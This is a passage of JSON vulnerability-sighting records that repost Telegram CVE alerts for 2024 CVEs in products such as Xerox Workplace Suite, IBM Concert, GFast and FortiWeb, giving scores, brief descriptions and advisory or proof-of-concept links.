References:\n1. https://github.com/tiger1103/gfast/blob/os-v3.2/internal/app/system/logic/sysLoginLog/sys_login_log.go#L75\n2. https://github.com/SuperDu1/CVE/issues/1", "creation_timestamp": "2025-02-21T18:18:48.000000Z"}, {"uuid": "0ce8c1ea-a165-45ed-bb5d-8b5dee9ce29e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55926", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5175", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55926\n\ud83d\udd25 CVSS Score: 7.6 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H)\n\ud83d\udd39 Description: A vulnerability found in Xerox Workplace Suite allows arbitrary file read, upload, and deletion on the server through crafted header manipulation. By exploiting improper validation of headers, attackers can gain unauthorized access to data\n\ud83d\udccf Published: 2025-01-23T17:12:21.371Z\n\ud83d\udccf Modified: 2025-02-24T17:11:02.567Z\n\ud83d\udd17 References:\n1. https://securitydocs.business.xerox.com/wp-content/uploads/2025/01/Xerox-Security-Bulletin-XRX25-002-for-Xerox%C2%AE-WorkplaceSuite%C2%AE.pdf", "creation_timestamp": "2025-02-24T17:21:35.000000Z"}, {"uuid": "c3762949-df75-4ad3-a83f-d03d0ee84b34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55927", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5174", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55927\n\ud83d\udd25 CVSS Score: 7.6 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L)\n\ud83d\udd39 Description: A vulnerability in Xerox Workplace Suite arises from flawed token generation and the use of hard-coded keys. These weaknesses allow attackers to predict or forge tokens, leading to unauthorized access to sensitive functions.\n\ud83d\udccf Published: 2025-01-23T17:20:29.974Z\n\ud83d\udccf Modified: 2025-02-24T17:12:10.831Z\n\ud83d\udd17 References:\n1. https://securitydocs.business.xerox.com/wp-content/uploads/2025/01/Xerox-Security-Bulletin-XRX25-002-for-Xerox%C2%AE-WorkplaceSuite%C2%AE.pdf", "creation_timestamp": "2025-02-24T17:21:35.000000Z"}, {"uuid": "8a157db2-d86d-4147-8819-a9643ea4fa62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55928", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5173", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55928\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: Xerox Workplace Suite exposes sensitive secrets in clear text, both locally and remotely. This vulnerability allows attackers to intercept or access secrets without encryption\n\ud83d\udccf Published: 2025-01-23T17:25:46.915Z\n\ud83d\udccf Modified: 2025-02-24T17:16:19.462Z\n\ud83d\udd17 References:\n1. https://securitydocs.business.xerox.com/wp-content/uploads/2025/01/Xerox-Security-Bulletin-XRX25-002-for-Xerox%C2%AE-WorkplaceSuite%C2%AE.pdf", "creation_timestamp": "2025-02-24T17:21:33.000000Z"}, {"uuid": "055bd47a-5755-4b29-9cc4-fcbdb8a9d82f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55898", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5116", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55898\n\ud83d\udd25 CVSS Score: 8.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H)\n\ud83d\udd39 Description: IBM i 7.2, 7.3, 7.4, and 7.5 could allow a user with the capability to compile or restore a program to gain elevated privileges due to an unqualified library call. A malicious actor could cause user-controlled code to run with administrator privilege.\n\ud83d\udccf Published: 2025-02-24T02:01:55.854Z\n\ud83d\udccf Modified: 2025-02-24T02:01:55.854Z\n\ud83d\udd17 References:\n1. https://www.ibm.com/support/pages/node/7183835", "creation_timestamp": "2025-02-24T02:21:31.000000Z"}, {"uuid": "8a2e0a99-e300-4289-a7c5-d61dbde4c89e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55925", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5176", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55925\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: In Xerox Workplace Suite, an API restricted to specific hosts can be bypassed by manipulating the Host header. If the server improperly validates or trusts the Host header without verifying the actual destination, an attacker can forge a value to gain unauthorized access. This exploit targets improper host validation, potentially exposing sensitive API endpoints.\n\ud83d\udccf Published: 2025-01-23T17:03:33.187Z\n\ud83d\udccf Modified: 2025-02-24T17:09:59.029Z\n\ud83d\udd17 References:\n1. https://securitydocs.business.xerox.com/wp-content/uploads/2025/01/Xerox-Security-Bulletin-XRX25-002-for-Xerox%C2%AE-WorkplaceSuite%C2%AE.pdf", "creation_timestamp": "2025-02-24T17:21:39.000000Z"}, {"uuid": "cfdae82b-570a-4a24-9121-51b5bdc9e6aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55930", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5202", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55930\n\ud83d\udd25 CVSS Score: 6.7 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Xerox Workplace Suite has weak default folder permissions that allow unauthorized users to access, modify, or delete files\n\ud83d\udccf Published: 2025-01-23T17:36:01.763Z\n\ud83d\udccf Modified: 2025-02-24T17:18:39.252Z\n\ud83d\udd17 References:\n1. https://securitydocs.business.xerox.com/wp-content/uploads/2025/01/Xerox-Security-Bulletin-XRX25-002-for-Xerox%C2%AE-WorkplaceSuite%C2%AE.pdf", "creation_timestamp": "2025-02-24T18:26:46.000000Z"}, {"uuid": "e346e8fb-5c13-4a00-b8fb-b6f995f078a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55931", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5200", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55931\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: Xerox Workplace Suite stores tokens in session storage, which may expose them to potential access if a user's session is compromised.\u00a0\n\nThe patch for this vulnerability will be included in a future release of Workplace Suite, and customers will be notified through an update to the security bulletin.\n\ud83d\udccf Published: 2025-01-27T11:28:45.510Z\n\ud83d\udccf Modified: 2025-02-24T17:20:04.431Z\n\ud83d\udd17 References:\n1. https://securitydocs.business.xerox.com/wp-content/uploads/2025/01/Xerox-Security-Bulletin-XRX25-002-for-Xerox%C2%AE-WorkplaceSuite%C2%AE.pdf", "creation_timestamp": "2025-02-24T18:26:42.000000Z"}, {"uuid": "b8aa03ab-f73d-4bf4-a8fb-53fa8aa7a162", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55909", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14478", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55909\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: IBM Concert Software 1.0.0 through 1.0.5 could allow an authenticated user to cause a denial of service due to the expansion of archive files without controlling resource consumption.\n\ud83d\udccf Published: 2025-05-02T00:35:26.694Z\n\ud83d\udccf Modified: 2025-05-02T12:26:15.585Z\n\ud83d\udd17 References:\n1. https://www.ibm.com/support/pages/node/7232169", "creation_timestamp": "2025-05-02T13:15:50.000000Z"}, {"uuid": "9edf78bb-268b-4375-8e5b-c39168922032", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55160", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5773", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55160\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: GFast between v2 to v3.2 was discovered to contain a SQL injection vulnerability via the OrderBy parameter at /system/operLog/list.\n\ud83d\udccf Published: 2025-02-27T00:00:00.000Z\n\ud83d\udccf Modified: 2025-02-27T20:13:58.135Z\n\ud83d\udd17 References:\n1. http://gfast.com\n2. https://github.com/tiger1103/gfast/tree/os-v3.2\n3. https://github.com/tiger1103/gfast/blob/os-v3.2/api/v1/system/sys_oper_log.go#L35\n4. https://github.com/tiger1103/gfast/blob/os-v3.2/internal/app/system/logic/sysOperLog/sys_oper_log.go#L121\n5. https://github.com/SuperDu1/CVE/issues/2", "creation_timestamp": "2025-02-27T20:25:31.000000Z"}, {"uuid": "bf8a6786-6673-46ca-bbc6-4469e71da24e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55910", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14483", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55910\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)\n\ud83d\udd39 Description: IBM Concert Software 1.0.0 through 1.0.5 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.\n\ud83d\udccf Published: 2025-05-02T00:39:09.289Z\n\ud83d\udccf Modified: 2025-05-02T12:19:21.744Z\n\ud83d\udd17 References:\n1. https://www.ibm.com/support/pages/node/7232169", "creation_timestamp": "2025-05-02T13:15:58.000000Z"}, {"uuid": "4775d283-0de1-4d40-a58a-508ddccc2280", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55913", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14481", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55913\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)\n\ud83d\udd39 Description: IBM Concert Software 1.0.0 through 1.0.5 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing \"dot dot\" sequences (/../) to view arbitrary files on the system.\n\ud83d\udccf Published: 2025-05-02T00:38:03.219Z\n\ud83d\udccf Modified: 2025-05-02T12:22:43.017Z\n\ud83d\udd17 References:\n1. https://www.ibm.com/support/pages/node/7232169", "creation_timestamp": "2025-05-02T13:15:53.000000Z"}, {"uuid": "b1aa2c50-13b8-41fa-9308-7e531a72a9cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55912", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14479", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55912\n\ud83d\udd25 CVSS Score: 5.9 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: IBM Concert Software 1.0.0 through 1.0.5 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.\n\ud83d\udccf Published: 2025-05-02T00:36:49.658Z\n\ud83d\udccf Modified: 2025-05-02T12:23:53.452Z\n\ud83d\udd17 References:\n1. https://www.ibm.com/support/pages/node/7232169", "creation_timestamp": "2025-05-02T13:15:51.000000Z"}, {"uuid": "082e1656-708e-4554-afe7-99174f95edad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55581", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5630", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55581\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: When AdaCore Ada Web Server 25.0.0 is linked with GnuTLS, the default behaviour of AWS.Client is vulnerable to a man-in-the-middle attack because of lack of verification of an HTTPS server's certificate (unless the using program specifies a TLS configuration).\n\ud83d\udccf Published: 2025-02-26T00:00:00.000Z\n\ud83d\udccf Modified: 2025-02-26T22:00:39.646Z\n\ud83d\udd17 References:\n1. https://docs.adacore.com/corp/security-advisories/SEC.AWS-0056-v1.pdf", "creation_timestamp": "2025-02-26T22:24:29.000000Z"}, {"uuid": "f9b1c50b-c76a-4aca-8084-db5e6cb717fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55549", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7515", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55549\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H)\n\ud83d\udd39 Description: xsltGetInheritedNsList in libxslt before 1.1.43 has a use-after-free issue related to exclusion of result prefixes.\n\ud83d\udccf Published: 2025-03-14T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-14T01:02:10.105Z\n\ud83d\udd17 References:\n1. https://gitlab.gnome.org/GNOME/libxslt/-/issues/127", "creation_timestamp": "2025-03-14T01:48:28.000000Z"}, {"uuid": "d3600b79-69fe-4856-a0ab-37f25d56f550", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55907", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6102", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55907\n\ud83d\udd25 CVSS Score: 2 (cvssV3_1, Vector: CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)\n\ud83d\udd39 Description: IBM Cognos Analytics Mobile 1.1 for iOS application could allow an attacker to reverse engineer the codebase to gain knowledge about the programming technique, interface, class definitions, algorithms and functions used due to weak obfuscation.\n\ud83d\udccf Published: 2025-03-02T15:22:59.258Z\n\ud83d\udccf Modified: 2025-03-02T15:22:59.258Z\n\ud83d\udd17 References:\n1. https://www.ibm.com/support/pages/node/7184429", "creation_timestamp": "2025-03-02T16:29:24.000000Z"}, {"uuid": "085778e8-1dcc-480f-9acf-7269849e042c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55570", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6227", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55570\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: /api/user/users in the web GUI for the Cubro EXA48200 network packet broker (build 20231025055018) fixed in V5.0R14.5P4-V3.3R1 allows remote authenticated users of the application to increase their privileges by sending a single HTTP PUT request with rolename=Administrator, aka incorrect access control.\n\ud83d\udccf Published: 2025-03-03T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-03T16:11:14.843Z\n\ud83d\udd17 References:\n1. https://herolab.usd.de/security-advisories/\n2. https://herolab.usd.de/security-advisories/usd-2024-0014/", "creation_timestamp": "2025-03-03T16:30:31.000000Z"}, {"uuid": "38a46d13-cce2-4fd4-ac31-52124af2afe3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55563", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/6460", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55563\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Bitcoin Core through 27.2 allows transaction-relay jamming via an off-chain protocol attack, a related issue to CVE-2024-52913. For example, the outcome of an HTLC (Hashed Timelock Contract) can be changed because a flood of transaction traffic prevents propagation of certain Lightning channel transactions.\n\ud83d\udccf Published: 2024-12-09T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-04T21:33:22.130Z\n\ud83d\udd17 References:\n1. https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures\n2. https://bitcoincore.org\n3. https://delvingbitcoin.org/t/full-disclosure-transaction-relay-throughput-overflow-attacks-against-off-chain-protocols/1305\n4. https://gnusha.org/pi/bitcoindev/CALZpt+EptER=p+P7VN3QAb9n=dODA9_LnR9xZwWpRsdAwedv=w@mail.gmail.com/T/#u\n5. https://ariard.github.io", "creation_timestamp": "2025-03-04T22:33:34.000000Z"}, {"uuid": "c2df2aea-9fb1-4b43-a396-292c833c12c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55199", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7025", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55199\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A Stored Cross Site Scripting (XSS) vulnerability in Celk Sistemas Celk Saude v.3.1.252.1 allows a remote attacker to store JavaScript code inside a PDF file through the file upload feature. When the file is rendered, the injected code is executed on the user's browser.\n\ud83d\udccf Published: 2025-03-10T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-10T17:10:53.517Z\n\ud83d\udd17 References:\n1. https://portswigger.net/web-security/cross-site-scripting/stored\n2. https://github.com/gabriel-bri/vulnerability-research/tree/main/CVE-2024-55199", "creation_timestamp": "2025-03-10T17:38:21.000000Z"}, {"uuid": "cff0f36f-5c3c-4659-969f-3e78cad1cb67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55060", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7497", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55060\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A cross-site scripting (XSS) vulnerability in the component index.php of Rafed CMS Website v1.44 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.\n\ud83d\udccf Published: 2025-03-13T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-13T20:34:46.169Z\n\ud83d\udd17 References:\n1. https://www.rafed-system.org/\n2. https://github.com/bigzooooz/CVE-2024-55060", "creation_timestamp": "2025-03-13T20:43:04.000000Z"}, {"uuid": "5602681a-f6d6-4432-8b92-d649d39e0a9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55070", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9183", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55070\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A Broken Object Level Authorization vulnerability in the component /households/permissions of hay-kot mealie v2.2.0 allows group managers to edit their own permissions.\n\ud83d\udccf Published: 2025-03-27T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-27T19:07:11.681Z\n\ud83d\udd17 References:\n1. https://github.com/mealie-recipes/mealie/issues/4593\n2. https://m10x.de/posts/2025/03/all-your-recipe-are-belong-to-us-part-3/3-broken-access-controls-leading-to-privilege-escalation-and-more-in-mealie/", "creation_timestamp": "2025-03-27T19:26:56.000000Z"}, {"uuid": "5d1da14b-c841-4f34-845d-e0f1f2abb927", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55957", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7578", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55957\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In Thermo Fisher Scientific Xcalibur before 4.7 SP1 and Thermo Foundation Instrument Control Software (ICSW) before 3.1 SP10, the driver packages have a local privilege escalation vulnerability due to improper access control permissions on Windows systems.\n\ud83d\udccf Published: 2025-01-22T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-14T15:35:57.261Z\n\ud83d\udd17 References:\n1. https://thermofisher.com\n2. https://assets.thermofisher.com/TFS-Assets/CORP/Product-Guides/Thermo_Scientific_Xcalibur_and_Foundation.pdf", "creation_timestamp": "2025-03-14T15:43:32.000000Z"}, {"uuid": "3c9563bb-3bbf-4da1-99c3-c569a5ddae06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55594", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7591", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55594\n\ud83d\udd25 CVSS Score: 5.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L/E:F/RL:X/RC:X)\n\ud83d\udd39 Description: An improper handling of syntactically invalid structure in Fortinet FortiWeb at least vesrions 7.4.0 through 7.4.6 and 7.2.0 through 7.2.10 and 7.0.0 through 7.0.10 allows attacker to execute unauthorized code or commands via HTTP/S crafted requests.\n\ud83d\udccf Published: 2025-03-14T16:25:33.078Z\n\ud83d\udccf Modified: 2025-03-14T16:25:33.078Z\n\ud83d\udd17 References:\n1. https://fortiguard.fortinet.com/psirt/FG-IR-23-115", "creation_timestamp": "2025-03-14T16:44:08.000000Z"}, {"uuid": "5bb82da5-1049-41de-87d2-2d1de6255de4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55272", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7685", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55272\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in Brainasoft Braina v2.8 allows a remote attacker to obtain sensitive information via the chat window function.\n\ud83d\udccf Published: 2025-02-07T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-15T15:18:05.110Z\n\ud83d\udd17 References:\n1. https://github.com/soursec/CVEs/tree/main/CVE-2024-55272", "creation_timestamp": "2025-03-15T15:45:12.000000Z"}, {"uuid": "6216c45a-422f-492a-acbf-bf5001ad9019", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55089", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7862", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55089\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Rhymix 2.1.19 is vulnerable to Server-Side Request Forgery (SSRF) in the background import data function.\n\ud83d\udccf Published: 2024-12-18T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-17T21:36:21.325Z\n\ud83d\udd17 References:\n1. https://tasteful-stamp-da4.notion.site/CVE-2024-55089-15b1e0f227cb8064a563c697709b7530?pvs=73", "creation_timestamp": "2025-03-17T21:47:26.000000Z"}, {"uuid": "1767215d-8336-4e27-a0ae-fc26877a4c87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55456", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8001", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55456\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: lunasvg v3.0.1 was discovered to contain a segmentation violation via the component gray_find_cell\n\ud83d\udccf Published: 2025-02-03T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-18T20:31:14.972Z\n\ud83d\udd17 References:\n1. https://github.com/sammycage/lunasvg/issues/199", "creation_timestamp": "2025-03-18T20:48:23.000000Z"}, {"uuid": "86d0ac13-ea5f-4c20-8106-fe669213b64a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55009", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8153", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55009\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A reflected cross-site scripting (XSS) vulnerability in AutoBib - Bibliographic collection management system 3.1.140 and earlier allows attackers to execute arbitrary Javascript in the context of a victim's browser via injecting a crafted payload into the WCE=topFrame&amp;WCU= parameter.\n\ud83d\udccf Published: 2025-03-19T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-19T21:06:50.135Z\n\ud83d\udd17 References:\n1. https://youtu.be/1mSgChs-a8Q\n2. https://youtu.be/SHk3mdsd2mI\n3. https://medium.com/@r3dd1t/poc-cve-0b3ad0535631", "creation_timestamp": "2025-03-19T21:18:24.000000Z"}, {"uuid": "91b3df8d-0a83-4adc-9102-13c251b6f97e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55028", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8753", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55028\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A template injection vulnerability in the Dashboard of NASA Fprime v3.4.3 allows attackers to execute arbitrary code via uploading a crafted Vue file.\n\ud83d\udccf Published: 2025-03-25T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-25T20:15:26.525Z\n\ud83d\udd17 References:\n1. https://visionspace.com/remote-code-execution-and-critical-vulnerabilities-in-nasa-fprime-v3-4-3/", "creation_timestamp": "2025-03-25T20:24:15.000000Z"}, {"uuid": "e4581119-79f6-4a27-834c-0fa3cb934c75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55604", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8662", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55604\n\ud83d\udd25 CVSS Score: 